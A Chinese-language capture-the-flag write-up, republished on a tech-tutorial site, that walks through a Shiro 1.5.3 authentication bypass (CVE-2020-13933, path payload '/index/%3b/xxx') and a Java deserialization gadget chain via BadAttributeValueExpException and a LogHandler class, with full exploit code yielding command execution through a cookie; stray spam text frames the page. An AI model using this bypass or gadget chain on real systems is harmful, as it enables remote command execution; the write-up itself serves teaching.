亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

什么是Java反序列化漏洞

發布時間:2021-07-05 17:26:34 來源:億速云 閱讀:192 作者:chen 欄目:網絡管理

這篇文章主要介紹“什么是Java反序列化漏洞”,在日常操作中,相信很多人在什么是Java反序列化漏洞問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”什么是Java反序列化漏洞”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!

0x00 前言

近年來,工作中Java Web的項目越來越常見,并且逐漸取代了前幾年php的輝煌地位。

在眾多Java Web漏洞中,反序列化漏洞獨樹一幟,大量框架或者中間件都存在反序列化漏洞,它們被大佬們鐘愛,并且翻過來覆過去的反復蹂躪,,例如:ShiroFastjsonJBossWebLogicStructs2等等。

本文基于一次內部小范圍比賽題目的復現,簡單聊聊Java代碼審計中的反序列化漏洞,以及其他漏洞的組合利用。由于學習門檻降低,各大學習論壇或網站上存在大量優秀的Java反序列化的入門文章,里面對Java的基本概念以及反序列化的基礎有著詳細的描述和講解。本文不再贅述Java反序列化中的簡單概念,僅從題目本身入手。

0x01 正文

題目本身是Web題目,并且提供了源碼。

打開頁面,登錄窗口。

什么是Java反序列化漏洞

頁面僅有一個登錄窗口,嘗試一波弱口令,無結果。

然后去看代碼,jar包導入JD-GUI,隨便點點。

大致文件結構如下:

什么是Java反序列化漏洞

其中ShiroConfig.class內容如下:

什么是Java反序列化漏洞

簡單審計發現,index內容需要認證,也就是需要登錄。

查看index對應的IndexController.class,發現存在反序列化點。

什么是Java反序列化漏洞

具體代碼如下:

if (cookies != null) {
      for (Cookie c : cookies) {
        if (c.getName().equals("userinfo")) {
          exist = true;
          cookie = c;
          break;
        } 
      } 
    }
    if (exist) {
      byte[] bytes = Tools.base64Decode(cookie.getValue());
      user = (User)Tools.deserialize(bytes);
    } else {
      user = new User();
      user.setId(1);
      user.setName(name);
      cookie = new Cookie("userinfo", Tools.base64Encode(Tools.serialize(user)));
      response.addCookie(cookie);
    }

當訪問index時,并且存在cookiekeyuserinfo時,會對其value進行deserialize

過程如下:

cookie[userinfo]  -->  base64decode  --> deserialize

暫時思路是,登錄之后,通過cookie進行反序列化。

但是由MyRealm.class可知,密碼是隨機的。

什么是Java反序列化漏洞

具體代碼如下:

return new SimpleAuthenticationInfo(username, UUID.randomUUID().toString().replaceAll("-", ""), getName());

再由lib中的BOOT-INF.lib.shiro-spring-1.5.3.jar可知,shiro版本為 1.5.3 ,存在CVE-2020-13933權限繞過漏洞。

根據 https://xz.aliyun.com/t/8230 可知,常用payload/index/%3bxxx

但存在過濾器AllFilter.class

什么是Java反序列化漏洞

public class AllFilter implements IAllFilter {
  public String filter(String param) {
    String[] keyWord = { "'", "\"", "select", "union", "/;", "/%3b" };
    for (String i : keyWord) {
      param = param.replaceAll(i, "");
    }
    return param;
  }
}

AllFilter會對payload的字符進行過濾,經過嘗試,最終有效payload/index/%3b/xxx

繞過權限之后,發現后臺為日志記錄。

什么是Java反序列化漏洞

涉及到LogHandler.class,在之后的后續反序列化會用到。

繞過權限之后,想辦法反序列化。

要序列化的條件是,必須繼承Java.io.Serializable接口。

在代碼中尋找可被利用的class

發現LogHandler.class

什么是Java反序列化漏洞

其中存在命令執行點

public class LogHandler extends HashSet implements InvocationHandler {
  private static final long serialVersionUID = 1L;
  private String readLog = "tail /tmp/accessLog"; private Object target;
  private String writeLog = "echo /test >> /tmp/accessLog";
  
  public LogHandler() {}
  public LogHandler(Object target) { this.target = target; }
  
  public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
    return method.invoke(this.target, args);
  }
  public String toString() { return Tools.exeCmd(this.readLog); }
}

LogHandler繼承了HashSet

HashSet繼承了Java.io.Serializable接口。

HashSet部分代碼如下:

package Java.util;

import Java.io.InvalidObjectException;
import sun.misc.SharedSecrets;

public class HashSet<E>extends AbstractSet<E>implements Set<E>, Cloneable, Java.io.Serializable{
    static final long serialVersionUID = -5024744406713321676L;
    ......

之后的pop鏈為:

deserialize  -->  LogHandler  -->  toString  -->  exeCmd (readLog)

條件:readLog可控 。

readLog為私有屬性,可通過Java的反射機制訪問屬性值。

方法說明
getDeclaredField(String name)獲得某個屬性對

例如:

import Java.lang.reflect.*;
public class AccessAttribute {
    public static void main(String[] args) throws Exception {
        
        Field aaa= UserClass.getDeclaredField("name");
        aaa.setAccessible(true);//私有屬性,設置可訪問
        aaa.set(user, "liuxigua");
    }
}

最終目的:尋找某個Java原生類,要求:重寫readObject方法并且可調用可控類的toString方法。

最后百度查到BadAttributeValueExpException,并且很多Java反序列化的Gadgets均用到了此類

BadAttributeValueExpException部分代碼如下:

public class BadAttributeValueExpException extends Exception   {

    private static final long serialVersionUID = -3105272988410493376L;

    private Object val;

    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

    public String toString()  {
        return "BadAttributeValueException: " + val;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { 
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }
 }

可通過將val設置為logHandler類,最終在readObject時調用其toString方法。

BadAttributeValueExpException (val)  -->  LogHandler(readLog).toString()  -->  serialize   -->  base64encode 

cookie[userinfo]  -->  base64decode  --> deserialize -->  LogHandler  -->  toString  -->  exeCmd (readLog)

最終Gadgets

Javax.management.BadAttributeValueExpException.readObject()
-->tools.logHandler.toString()-->  tools.Tools.exeCmd()

注意:payload的代碼結構與文件位置需要與服務端代碼結構與文件位置保持一致

package com.test.JavaWeb;
import Javax.management.BadAttributeValueExpException;
import com.test.JavaWeb.tools.Tools;
import com.test.JavaWeb.tools.LogHandler;
import Java.lang.reflect.Field;

public class Exp {
    public static void main(String[] args) throws Exception{
        LogHandler logHandler = new LogHandler();
        Field readLogField = LogHandler.class.getDeclaredField("readLog");
        readLogField.setAccessible(true);
        readLogField.set(logHandler,"touch /tmp/123");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("");
        Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(badAttributeValueExpException,logHandler);
        byte[] bytes = Tools.serialize(badAttributeValueExpException);
        System.out.println(Tools.base64Encode(bytes));
    }
}

生成payload之后,在cookieuserinfo值填入,可執行命令。

什么是Java反序列化漏洞

到此,關于“什么是Java反序列化漏洞”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

泰州市| 桑植县| 哈巴河县| 明光市| 铜鼓县| 靖江市| 榆社县| 永川市| 长沙市| 集安市| 禄丰县| 双辽市| 金堂县| 虹口区| 仁布县| 双江| 浮山县| 阳朔县| 闻喜县| 济阳县| 碌曲县| 舟曲县| 东兰县| 安龙县| 富蕴县| 大化| 云南省| 泾阳县| 澄迈县| 依安县| 万荣县| 顺平县| 嵩明县| 黎川县| 静安区| 彝良县| 昌乐县| 鸡东县| 湘潭县| 扶余县| 山丹县|